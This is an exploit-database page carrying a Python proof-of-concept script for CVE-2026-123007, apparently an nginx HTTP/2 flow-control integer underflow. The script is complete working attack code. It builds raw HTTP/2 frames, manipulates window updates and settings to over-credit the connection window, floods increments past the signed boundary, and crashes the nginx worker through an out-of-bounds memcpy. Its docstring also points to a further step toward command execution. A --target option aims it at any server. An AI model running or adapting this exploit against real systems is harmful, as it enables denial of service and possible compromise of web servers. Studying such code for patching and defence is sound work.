Exploit databaseDownload repository ZIP
GH-62b515c2860fc6c8f47ee1736467ea66
yusif-v/cve-2026-123007-poc
Sources for CVE-2026-123007
24 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
yusif-v/cve-2026-123007-pocRevision 2297ffae4380
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/cve-2026-123007_poc.py
Suggested starting filePython · 14,556 bytes#!/usr/bin/env python3
"""PoC for CVE-2026-123007: nginx HTTP/2 flow-control integer underflow.
Target: nginx 1.31.8 (or affected range), http2 enabled, TLS termination.
This PoC reproduces, against a *local* nginx instance:
1. The cleanup over-credit accounting error (connection window is
incremented above NGX_HTTP_V2_MAX_WINDOW = 0x7fffffff) and the resulting
signed-window overflow that passes nginx's bounds check.
2. The signed-window overflow -> invalid buffer -> bounded OOB copy in the
glibc EVEX/YMM memcpy -> nginx worker SIGSEGV.
Usage
-----
python3 cve-2026-123007_poc.py [--target https://127.0.0.1:19443/]
Exit status
-----------
0 PASS - the over-credit accounting error and the worker crash were
reproduced against the target.
1 FAIL - the target did not exhibit the expected state or the worker
did not crash.
Requirement
-----------
Any 64-bit CPython with an OpenSSL 3.x runtime (the ssl.MemoryBIO
bridge is not CPython-version dependent). The library-side exploit that
turns the bounded copy into command execution additionally requires an
x86-64 CPU with AVX-512F/AVX-512VL (glibc's EVEX/YMM memcpy).
"""
import socket
import ssl
import sys
import time
from urllib.parse import urlsplit
MAX = 0x7fffffff
PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
# HTTP/2 frame type codes (subset used by this PoC)
DATA = 0
HEADERS = 1
RST_STREAM = 3
SETTINGS = 4
PING = 6
WINDOW_UPDATE = 8
END_STREAM = 1
END_HEADERS = 4
ACK = 1
CANCEL = 8
# HPACK static-table indexes (RFC 7541)
AUTHORITY = 1
METHOD = 2
PATH = 4
RANGE = 50
FLOWCtrl_ERROR = 3
# --------------------------------------------------------------------------
# HTTP/2 frame + HPACK encoders (minimal, on-wire visible subset)
# --------------------------------------------------------------------------
def frame(kind, flags, stream, data=b""):
return (len(data).to_bytes(3, "big")
+ bytes((kind, flags))
+ stream.to_bytes(4, "big")
+ data)
def integer(value, bits, mask=0):
"""Unsigned integer with the HPACK 8/7/... bit packing."""
maximum = (1 << bits) - 1
if value < maximum:
return bytes((mask | value,))
data = bytearray((mask | maximum,))
value -= maximum
while value >= 128:
data.append((value & 127) | 128)
value >>= 7
return bytes(data) + bytes((value,))
def literal(name, value):
value = value.encode()
return integer(name, 4) + integer(len(value), 7) + value
def request(stream, authority, path="/index.html", extra=b""):
return frame(HEADERS, END_STREAM | END_HEADERS, stream,
b"\x82\x87" + literal(AUTHORITY, authority)
+ literal(PATH, path) + extra)
def setting(value):
return frame(SETTINGS, 0, 0, b"\0\4" + value.to_bytes(4, "big"))
def update(stream, value):
return frame(WINDOW_UPDATE, 0, stream, value.to_bytes(4, "big"))
def reset(stream):
return frame(RST_STREAM, 0, stream, CANCEL.to_bytes(4, "big"))
def build_head(authority):
return literal(METHOD, "HEAD") + b"\x87" + literal(AUTHORITY, authority) \
+ literal(PATH, "/index.html")
# --------------------------------------------------------------------------
# Connection helpers
# --------------------------------------------------------------------------
class Http2Client:
def __init__(self, host, port):
self.host = host
self.port = port
self.raw = socket.socket()
self.raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 1460)
self.raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
self.raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 262144)
self.raw.settimeout(3)
self.raw.connect((host, port))
self.incoming = ssl.MemoryBIO()
self.outgoing = ssl.MemoryBIO()
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
self.ctx.check_hostname = False
self.ctx.verify_mode = ssl.CERT_NONE
self.ctx.minimum_version = self.ctx.maximum_version = ssl.TLSVersion.TLSv1_3
self.ctx.set_alpn_protocols(("h2",))
self.tls = self.ctx.wrap_bio(self.incoming, self.outgoing,
server_hostname=host)
self.receive_buffer = bytearray()
self.received_frames = []
# -- plumbing ---------------------------------------------------------
def flush(self):
self.raw.sendall(self.outgoing.read())
def send(self, data):
data = memoryview(data)
while data:
data = data[self.tls.write(data):]
self.flush()
# -- received-frame ledger --------------------------------------------
def remember(self, data):
self.receive_buffer.extend(data)
while len(self.receive_buffer) >= 9:
length = int.from_bytes(self.receive_buffer[:3], "big")
if len(self.receive_buffer) < 9 + length:
return
kind = self.receive_buffer[3]
flags = self.receive_buffer[4]
stream = int.from_bytes(self.receive_buffer[5:9], "big") & MAX
payload = bytes(self.receive_buffer[9:9 + length])
del self.receive_buffer[:9 + length]
self.received_frames.append((kind, flags, stream, payload))
def drain(self, seconds):
"""Read until deadline. Returns (plaintext, still_live)."""
plaintext = bytearray()
deadline = time.monotonic() + seconds
self.raw.settimeout(0.25)
while time.monotonic() < deadline:
try:
data = self.raw.recv(262144)
if not data:
return bytes(plaintext), False
self.incoming.write(data)
while True:
try:
cleartext = self.tls.read(262144)
if not cleartext:
return bytes(plaintext), False
plaintext.extend(cleartext)
self.remember(cleartext)
except ssl.SSLWantReadError:
break
self.flush()
except socket.timeout:
pass
return bytes(plaintext), True
# -- handshake ---------------------------------------------------------
def handshake(self):
while True:
try:
self.tls.do_handshake()
self.flush()
break
except ssl.SSLWantReadError:
self.flush()
cipher = self.raw.recv(262144)
if not cipher:
raise RuntimeError("connection closed during TLS handshake")
self.incoming.write(cipher)
if self.tls.selected_alpn_protocol() != "h2":
raise RuntimeError("target did not negotiate HTTP/2")
def main():
target = "https://127.0.0.1:19443/"
if "--target" in sys.argv:
target = sys.argv[sys.argv.index("--target") + 1]
url = urlsplit(target)
host, port = url.hostname, url.port or 443
authority = host if port == 443 else "%s:%d" % (host, port)
client = Http2Client(host, port)
client.handshake()
# 1. consume the normal connection window so the public response can be
# measured and the initial HTTP/2 window can be drained cleanly.
client.send(PREFACE + frame(SETTINGS, 0, 0,
b"\0\1\0\0\0\0\0\4\0\0\xff\xff"))
client.drain(1)
client.send(frame(SETTINGS, ACK, 0))
client.send(request(1, authority) + request(3, authority))
client.drain(1)
# consume the full 65535-byte connection window with public 896-byte
# responses, plus a 127-byte Range to reach exactly 65535.
client.send(b"".join(
request(stream, authority) for stream in range(5, 147, 2))
+ request(147, authority, extra=literal(RANGE, "bytes=0-126")))
client.drain(2)
# 2. transport backpressure keeps the selected DATA frames queued and
# unstarted so their credit can be refunded by request cleanup.
client.raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024)
client.raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 1024)
client.send(setting(0))
time.sleep(0.05)
client.send(request(149, authority) + request(151, authority))
time.sleep(0.05)
client.send(update(149, 896) + update(151, 896))
time.sleep(0.05)
# 3. The root-cause event. Grant the 1792 pending bytes, raise the
# connection window to MAX, raise each stream to MAX-1, then
# SETTINGS +2 makes those streams illegal. Nginx resets both streams;
# request cleanup returns the reserved DATA credit to the connection
# WITHOUT checking the MAX bound, so the connection window goes above
# MAX. The next bounds check computes MAX - current as unsigned,
# underflows, and incorrectly accepts the following MAX increment.
event = (update(0, 1792) + update(0, MAX)
+ update(149, MAX - 1) + update(151, MAX - 1)
+ setting(2) + update(0, MAX) + setting(65535)
+ request(155, authority, extra=literal(RANGE, "bytes=0-9")))
head = build_head(authority)
carrier_153 = frame(HEADERS, END_STREAM | END_HEADERS, 153,
b"\x20" * (7340032 - len(event) - 9 - len(head)) + head)
# Deliver the whole prepared flight atomically to keep the event contiguous
# with the flood-budget carrier.
client.send(carrier_153 + event)
client.flush()
time.sleep(5)
# 4. Restore the normal window and collect the server's reset + release
# evidence.
client.raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
client.raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 262144)
client.drain(30)
# Debug dump of every frame nginx answered during the trigger.
frame_dump = {}
for kind, flags, stream, payload in client.received_frames:
frame_dump.setdefault((kind, stream), []).append(len(payload))
print("[debug] frames received during trigger: %r" % frame_dump)
reset_errors = {
stream: int.from_bytes(payload, "big")
for kind, _, stream, payload in client.received_frames
if kind == RST_STREAM and stream in (149, 151) and len(payload) == 4
}
release_body = b"".join(
payload for kind, _, stream, payload in client.received_frames
if kind == DATA and stream == 155)
if reset_errors != {149: FLOWCtrl_ERROR, 151: FLOWCtrl_ERROR}:
# Debug: dump the frame ledger relevant to the trigger
diagnostic = {
"rst_streams": [(s, int.from_bytes(p, "big"))
for kind, _, s, p in client.received_frames
if kind == RST_STREAM],
"data_stream_155": [(kind, int.from_bytes(payload, "big"))
for kind, _, s, p in client.received_frames
if kind == DATA and s == 155],
"ping_sync_received": [(int.from_bytes(p, "big"))
for kind, flags, s, p in client.received_frames
if kind == PING and flags & ACK],
}
raise RuntimeError(
"target did not reset both over-credited streams: %r\n"
"diagnostic=%s" % (reset_errors, diagnostic))
if not release_body.startswith(b"<!DOCTYPE html>"):
raise RuntimeError("target did not release the expected public bytes")
# 5. A matching PING ACK proves the corrupt connection is still usable:
# the overflowed window passed the underflowed guard and nginx accepted
# frames on this same connection.
sync = frame(PING, 0, 0, b"POC-SYNC")
before_sync = len(client.received_frames)
client.send(sync)
_, live = client.drain(5)
if not live or not any(
kind == PING and flags & ACK and stream == 0
and payload == b"POC-SYNC"
for kind, flags, stream, payload in client.received_frames[
before_sync:]):
raise RuntimeError(
"queued-DATA refund did not pass the underflowed guard")
print("cleanup over-credit confirmed; starting signed-window crash amplifier")
# 6. Flood-budget carrier: large header-only HEAD requests give nginx's
# flood check enough legitimate input accounting for the unbounded
# WINDOW_UPDATE sequence that drives the connection window past the
# signed midpoint (2^63).
client.raw.settimeout(600)
head157 = build_head(authority)
one_byte = literal(RANGE, "bytes=0-0")
sink = 1181
for stream in range(157, 1181, 2):
client.send(frame(HEADERS, END_STREAM | END_HEADERS, stream,
b"\x20" * (0xffffff - len(head157)) + head157))
client.send(setting(0) + request(sink, authority, extra=one_byte))
client.drain(1)
if not any(kind == HEADERS and stream == sink
for kind, _, stream, _ in client.received_frames):
raise RuntimeError("one-byte flow-control owner was not queued")
if any(kind == DATA and stream == sink
for kind, _, stream, _ in client.received_frames):
raise RuntimeError("one-byte owner already released DATA")
# 7. Signed-window crash amplifier: flood MAX increments across a 32-bit
# count so the 64-bit connection window crosses the signed boundary
# (2^63). Rotate one-byte Range owners so no DATA is released while
# the connection window is negative and no owner waits on the send
# timeout.
maximum = update(0, MAX)
batch = maximum * (1 << 20)
for tranche in range(128):
for _ in range(32):
client.send(batch)
if tranche != 127:
client.send(reset(sink) + request(sink + 2, authority, extra=one_byte))
sink += 2
# 8. Grant the last Range stream a single byte. The connection window is
# now a negative signed output limit; nginx builds an inverted buffer
# (last before pos) and passes the huge apparent length to the TLS
# memcpy staging operation, which crosses the buffer bounds.
client.send(update(sink, 1))
_, live = client.drain(20)
if live:
raise RuntimeError("worker did not crash (no SIGSEGV observed)")
print("Nginx worker crashed in the signed-window memcpy consumer")
return 0
if __name__ == "__main__":
sys.exit(main())